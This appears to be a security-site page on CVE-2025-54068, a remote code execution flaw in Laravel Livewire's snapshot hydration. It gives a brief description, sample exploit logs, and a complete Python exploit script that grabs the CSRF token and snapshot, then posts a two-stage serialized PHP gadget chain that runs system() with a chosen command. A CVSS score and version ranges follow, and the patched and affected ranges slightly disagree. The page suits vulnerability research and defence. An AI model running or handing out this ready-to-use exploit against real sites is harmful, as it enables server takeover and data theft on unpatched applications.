CVE-2025-54068:
Livewire RCE
Laravel Livewire components expose remote code execution via insecure snapshot handling. CVE-2025-54068 affects specific versions where component state hydration trusts client-side data. Attackers manipulate snapshots to trigger arbitrary PHP function execution.
Proof of Concepts and Exploits
Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.
Vulnerability Verification
Exploitation With Application Key
[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit with APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=1337(sail) gid=33(www-data) groups=33(www-data)
Exploitation Without Application Key
[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit without APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Found 2 possible param(s).
[INFO] Checking for param(s) with object type to avoid bruteforce.
[INFO] test is typed as an object, triggering RCE.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=1337(sail) gid=33(www-data) groups=33(www-data)
If you prefer using a single Python3 exploit script, you can easily read and adapt everything into one file using the template below.
[+] Targeting http://127.0.0.1:8000 [+] CSRF Token acquired: FZECb5D7UF0rjvBhpqdj... [+] Snapshot extracted successfully [+] Component ID: Hw1rdEMoCb5vjgoqvt2P [+] Component Name: counter [+] Sending exploit payload... [*] Found param: count [*] Stage 1 payload being sent: [!] Stage 1 failed with status 500 [*] Found param: name [*] Stage 1 payload being sent: [!] Stage 1 failed with status 500 [*] Found param: obj [*] Stage 1 payload being sent: [*] Stage 2 payload being sent: [+] Response Status: 200 [+] Response: uid&=0(root) gid=0(root) groups=0(root) [+] Exploit successful. Command output received.
Update the source code as needed (e.g., target URL, port, and any payload values).
"""
Simple single file CVE-2025-54068 exploit
Author: Joshua van der Poll
Website: https://hackindex.io/services/web/exploitation/cve-2025-54068-livewire-rce
"""
import requests
import re
import json
import sys
import html
TARGET_IP = "127.0.0.1" # Change me
PORT = "8000" # Change me
BASE_URL = f"http://{TARGET_IP}:{PORT}"
COMMAND = "id" # Change me
def get_csrf_token(session):
response = session.get(BASE_URL)
patterns = [
r'<meta name="csrf-token" content="([^"]+)"',
r'data-csrf="([^"]+)"',
]
for pattern in patterns:
match = re.search(pattern, response.text)
if match:
return match.group(1)
raise Exception("CSRF token not found")
def get_livewire_state(session):
response = session.get(BASE_URL)
html_content = response.text
snapshot_match = re.search(r'wire:snapshot="([^"]+)"', html_content)
if not snapshot_match:
raise Exception("wire:snapshot not found")
snapshot_raw = snapshot_match.group(1)
snapshot_decoded = html.unescape(snapshot_raw)
snapshot_json = json.loads(snapshot_decoded)
return snapshot_json
def exploit(session, csrf_token, snapshot_json):
url = f"{BASE_URL}/livewire/update"
final_param_name = None
for param in snapshot_json["data"]:
print(f"[*] Found param: {param}")
# Stage 1: Cast the object property to an array
snapshot_str = json.dumps(snapshot_json)
payload_stage1={"_token":csrf_token,"components":[{"snapshot":snapshot_str,"updates":{param:[]},"calls":[]}]}
headers = {
"Content-Type": "application/json",
"Accept": "application/json",
"X-Livewire": "true",
}
print("[*] Stage 1 payload being sent:")
response_stage1 = session.post(url, json=payload_stage1, headers=headers)
if response_stage1.status_code != 200:
print(f"[!] Stage 1 failed with status {response_stage1.status_code}")
continue
response_data = response_stage1.json()
try:
new_snapshot = response_data["components"][0]["snapshot"]
except (KeyError, IndexError):
print("[!] Failed to extract new snapshot from stage 1 response")
continue
final_param_name = param
if not new_snapshot:
raise Exception("[!] No valid snapshot obtained from stage 1")
# Stage 2: Build and send the RCE payload
json_payload={"_token":csrf_token,"components":[{"snapshot":new_snapshot,"updates":{"TARGET":[1,[{"a":[{"__toString":"phpversion","close":[[[{"chained":["O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:[FUNCTION_LEN]:\"[FUNCTION]\";}}s:8:\"\u0000*\u0000event\";s:[PARAM_LEN]:\"[PARAM]\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"]},{"s":"form","class":"Illuminate\\Broadcasting\\BroadcastEvent"}],"dispatchNextJobInChain"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}],"b":[{"__toString":[[[None,{"s":"mdl","class":"Laravel\\Prompts\\Terminal"}],"exit"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]},{"class":"League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator","s":"clctn"}]]},"calls":[]}]}
updated_updates = json_payload["components"][0]["updates"]
updated_updates[final_param_name] = updated_updates.pop("TARGET")
function = "system" # Change this if needed
user_payload = json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0]
user_payload = user_payload.replace("[FUNCTION_LEN]", str(len(function)))
user_payload = user_payload.replace("[FUNCTION]", function)
user_payload = user_payload.replace("[PARAM_LEN]", str(len(COMMAND)))
user_payload = user_payload.replace("[PARAM]", COMMAND)
json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0] = user_payload
print("[*] Stage 2 payload being sent:")
response_stage2 = session.post(url, json=json_payload, headers=headers)
return response_stage2.text, response_stage2.status_code
def main():
session = requests.Session()
try:
print(f"[+] Targeting {BASE_URL}")
csrf_token = get_csrf_token(session)
print(f"[+] CSRF Token acquired: {csrf_token[:20]}...")
snapshot_json = get_livewire_state(session)
print(f"[+] Snapshot extracted successfully")
print(f"[+] Component ID: {snapshot_json['memo']['id']}")
print(f"[+] Component Name: {snapshot_json['memo']['name']}")
print(f"[+] Sending exploit payload...")
response, status_code = exploit(session, csrf_token, snapshot_json)
print(f"[+] Response Status: {status_code}")
print(f"[+] Response: \n{response[:2000]}")
if "uid=" in response or "root" in response or "www-data" in response:
print("[+] Exploit successful. Command output received.")
elif status_code == 500:
print("[-] Server error. Check payload compatibility.")
else:
print("[-] Exploit failed. Check response for errors.")
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
9.2
Critical risk
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Compexity
high
Privileges
none
Authentication
none
Affected
>= 3.0.0-beta.1, < 3.6.3
Patched
>=3.6.4